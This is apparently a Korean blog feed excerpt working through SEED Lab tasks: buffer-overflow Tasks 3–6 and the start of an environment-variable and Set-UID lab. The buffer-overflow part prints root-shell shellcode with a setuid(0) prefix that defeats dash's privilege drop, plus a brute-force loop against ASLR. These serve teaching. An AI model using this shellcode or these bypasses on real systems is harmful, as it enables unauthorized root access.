&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 3: Defeating dash's Countermeasure&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the effective UID does not equal to the real UID. This can be observed from dash program&amp;rsquo;s changelog, which compares real and effective user/group IDs.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The&amp;nbsp;countermeasure&amp;nbsp;implemented&amp;nbsp;in&amp;nbsp;dash&amp;nbsp;can&amp;nbsp;be&amp;nbsp;defeated.&amp;nbsp;One&amp;nbsp;approach&amp;nbsp;&lt;b&gt;is&amp;nbsp;not&amp;nbsp;to&amp;nbsp;invoke&amp;nbsp;/bin/sh&lt;/b&gt;&amp;nbsp;in&amp;nbsp;our&amp;nbsp;shellcode;&amp;nbsp;instead,&amp;nbsp;we&amp;nbsp;can&amp;nbsp;&lt;b&gt;invoke&amp;nbsp;another&amp;nbsp;shell&amp;nbsp;program&lt;/b&gt;.&amp;nbsp;This&amp;nbsp;approach&amp;nbsp;requires&amp;nbsp;another&amp;nbsp;shell&amp;nbsp;program,&amp;nbsp;such&amp;nbsp;as&amp;nbsp;&lt;b&gt;zsh&amp;nbsp;&lt;/b&gt;to be present in the system. Another approach is to &lt;b&gt;change&amp;nbsp;the&amp;nbsp;real&amp;nbsp;user&amp;nbsp;ID&amp;nbsp;of&amp;nbsp;the&amp;nbsp;victim&amp;nbsp;process&amp;nbsp;to&amp;nbsp;zero&lt;/b&gt; before invoking the dash program. We can achieve this by invoking &lt;b&gt;setuid(0)&lt;/b&gt; before executing execve() in the shellcode. In this task, we will use this approach. We will first change the bin/sh symbolic link, so it points back to /bin/dash:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611131587279&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo ln -sh /bin/dash /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To see how the countermeasure in dash works and how to defeat it using the system call setuid(0), we write the following C program. We first comment out Line A and run the program as a Set-UID program (the owner should be root); please describe your observations. We then uncomment Line A and run the program again; please describe your observations.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611131867402&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main()
{
        char *argv[2];
        argv[0] = &quot;/bin/sh&quot;;
        argv[1] = NULL;

        // setuid(0);                   // Line A
        execve(&quot;/bin/sh&quot;, argv, NULL);

        return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The above program can be compiled and set up using the following commands (we need to make it root-owned&amp;nbsp;Set-UID&amp;nbsp;program):&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611131906707&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;setuid(0)를 comment하면 dash 내부 coutermeasure로 인해 euid와 ruid가 동일하지 않아 ruid 권한을 갖는 shell을 띄운다. 하지만 setuid(0)를 uncommnet하면 ruid와 euid가 동일해지기 때문에 dash에 적용된 countermeasure를 우회하여 root shell을 띄울 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly code&amp;nbsp;for&amp;nbsp;invoking&amp;nbsp;this&amp;nbsp;system&amp;nbsp;call&amp;nbsp;at&amp;nbsp;the&amp;nbsp;beginning&amp;nbsp;of&amp;nbsp;our&amp;nbsp;shellcode,&amp;nbsp;before&amp;nbsp;we&amp;nbsp;invoke&amp;nbsp;execve().&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611132345240&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;char shellcode[] =
&quot;\x31\xc0&quot; 				/* Line 1: xorl %eax,%eax */
&quot;\x31\xdb&quot;				/* Line 2: xorl %ebx,%ebx */
&quot;\xb0\xd5&quot; 				/* Line 3: movb $0xd5,%al */
&quot;\xcd\x80&quot; 				/* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
&quot;\x31\xc0&quot;
&quot;\x50&quot;
&quot;\x68&quot;&quot;//sh&quot;
&quot;\x68&quot;&quot;/bin&quot;
&quot;\x89\xe3&quot;
&quot;\x50&quot;
&quot;\x53&quot;
&quot;\x89\xe1&quot;
&quot;\x99&quot;
&quot;\xb0\x0b&quot;
&quot;\xcd\x80&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 4: Defeating Address Randomization&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2^19 = 524,288 possibilities. This number is not that high and can be exhausted easily with the brute-force&amp;nbsp; approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on the Ubuntu&amp;rsquo;s address randomization using the following command. We run the same attack developed in Task 2. Please describe and explain your observation.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611132643453&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo /sbin/sysctl -w kernel.randomize_va_space=2&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your observation.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611132786688&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
        do
        value=$(( $value + 1 ))
        duration=$SECONDS
        min=$(($duration / 60))
        sec=$(($duration % 60))
        echo &quot;$min minutes and $sec seconds elapsed.&quot;
        echo &quot;The program has been running $value times so far.&quot;
        ./stack
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;brute-force 공격의 핵심은 stack에 적용된 ASLR의 entropy가 2^19이기 때문에 평균 262,144번 공격을 시도하면 한 번은 공격에 성공할 것을 기저에 두고 시도하는 공격이다. 충분한 시간을 가지고 공격하면 root shell을 얻을 수 있을것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 5: Turn on the StackGurad Protection&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Before working on this task, remember to &lt;b&gt;turn off the address randomization&lt;/b&gt; first, or you will not know which protection helps achieve the protection. In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that, you should compile the program without the -fno-stack-protector option. For this task, you will recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report your observations. You may report any error messages you observe. In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a older&amp;nbsp;GCC&amp;nbsp;version,&amp;nbsp;you&amp;nbsp;may&amp;nbsp;not&amp;nbsp;have&amp;nbsp;to&amp;nbsp;disable&amp;nbsp;StackGuard.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611133251494&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -o stack -z execstack stack.c
./stack
*** stack smashing detected ***: ./stack terminated
Aborted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우리는 StackGuard countermeasure 때문에 &quot;*** stack smashing detected ***&quot; 문구와 함께 ./stack program이 종료된 것을 확인할 수 있다. 이것은 우리의 BOF 공격이 canary를 다른 값으로 overwriting 했기 때문에 발생했다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 6: Turn on the Non-executable Stack Protection&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;Before working on this task, remember to turn off the address randomization first, or you will not know which protection helps achieve the protection. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult. You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack&amp;nbsp;protection.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611133599748&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc -o stack -fno-stack-protector -z noexecstack stack.c&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for that&amp;nbsp;attack.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SEEDLAB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/254</guid>
      <comments>https://marcokhan.tistory.com/254#entry254comment</comments>
      <pubDate>Sun, 17 Jan 2021 21:06:25 +0900</pubDate>
    </item>
    <item>
      <title>SEEDLAB Chap 1: Environment Variable and Set-UID Program Lab</title>
      <link>https://marcokhan.tistory.com/253</link>
      <description>&lt;p&gt;&quot;Computer &amp;amp; Internet security : A Hand-on Approach&quot; 서적의 내용 중 System security에 관련된 내용을 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 1장 &quot;Set-UID Programs&quot;, 2장 &quot;Environmetn Variables and Attacks&quot;에 대한 실습 내용을 풀이한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 2: Passing Environment Variables from Parent Process to Child Process&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Goal: How a child process gets its environment variables from its parent&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step 1.&lt;/b&gt; Please compile and run the following program, and describe your observation. Because the output contains many strings, you should save the output into a file, such as using a.out &amp;gt; child (assuming that a.out is your executable file name).&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;6&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;7&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;8&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;9&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;10&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;11&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;12&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;13&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;14&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;15&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;16&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;17&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;18&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;19&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;20&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;21&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;22&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;23&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;24&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;25&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;26&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;27&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;28&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;29&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;unistd.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdio.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdlib.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;extern&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;environ;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;void&lt;/span&gt;&amp;nbsp;printenv()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;int&lt;/span&gt;&amp;nbsp;i&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(environ[i]&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #0086b3;&quot;&gt;NULL&lt;/span&gt;)&amp;nbsp;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;,&amp;nbsp;environ[i]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;void&lt;/span&gt;&amp;nbsp;main()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pid_t&amp;nbsp;childPid;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;switch&lt;/span&gt;(childPid&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;fork())&amp;nbsp;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;case&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;/*&amp;nbsp;child&amp;nbsp;process&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printenv();&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;default&lt;/span&gt;:&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;/*&amp;nbsp;parent&amp;nbsp;process&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #999999;&quot;&gt;//printenv();&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;2.&amp;nbsp;&lt;/b&gt;Now comment out the printenv() statement in the child process case (Line 23), and uncomment the printenv() statement in the parent process case (Line 26). Compile and run the code again, and describe your observation. Save the output in another file.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;3.&lt;/b&gt;&amp;nbsp;Compare&amp;nbsp;the&amp;nbsp;difference&amp;nbsp;of&amp;nbsp;these&amp;nbsp;two&amp;nbsp;files&amp;nbsp;using&amp;nbsp;the&amp;nbsp;diff&amp;nbsp;command.&amp;nbsp;Please&amp;nbsp;draw&amp;nbsp;your&amp;nbsp;conclusion.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer. &lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;프로세스가 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables&lt;/span&gt;를 얻는 방법은 두 가지 방법이 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;첫 번째 방법은 프로세스가 fork() system call에 의해서 생성되었을 때 child process는 parent process 메모리 공간의 복사본을 사용하고 parent process의 &lt;span style=&quot;color: #333333;&quot;&gt;environment variables &lt;/span&gt;또한 그대로 복사하여 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
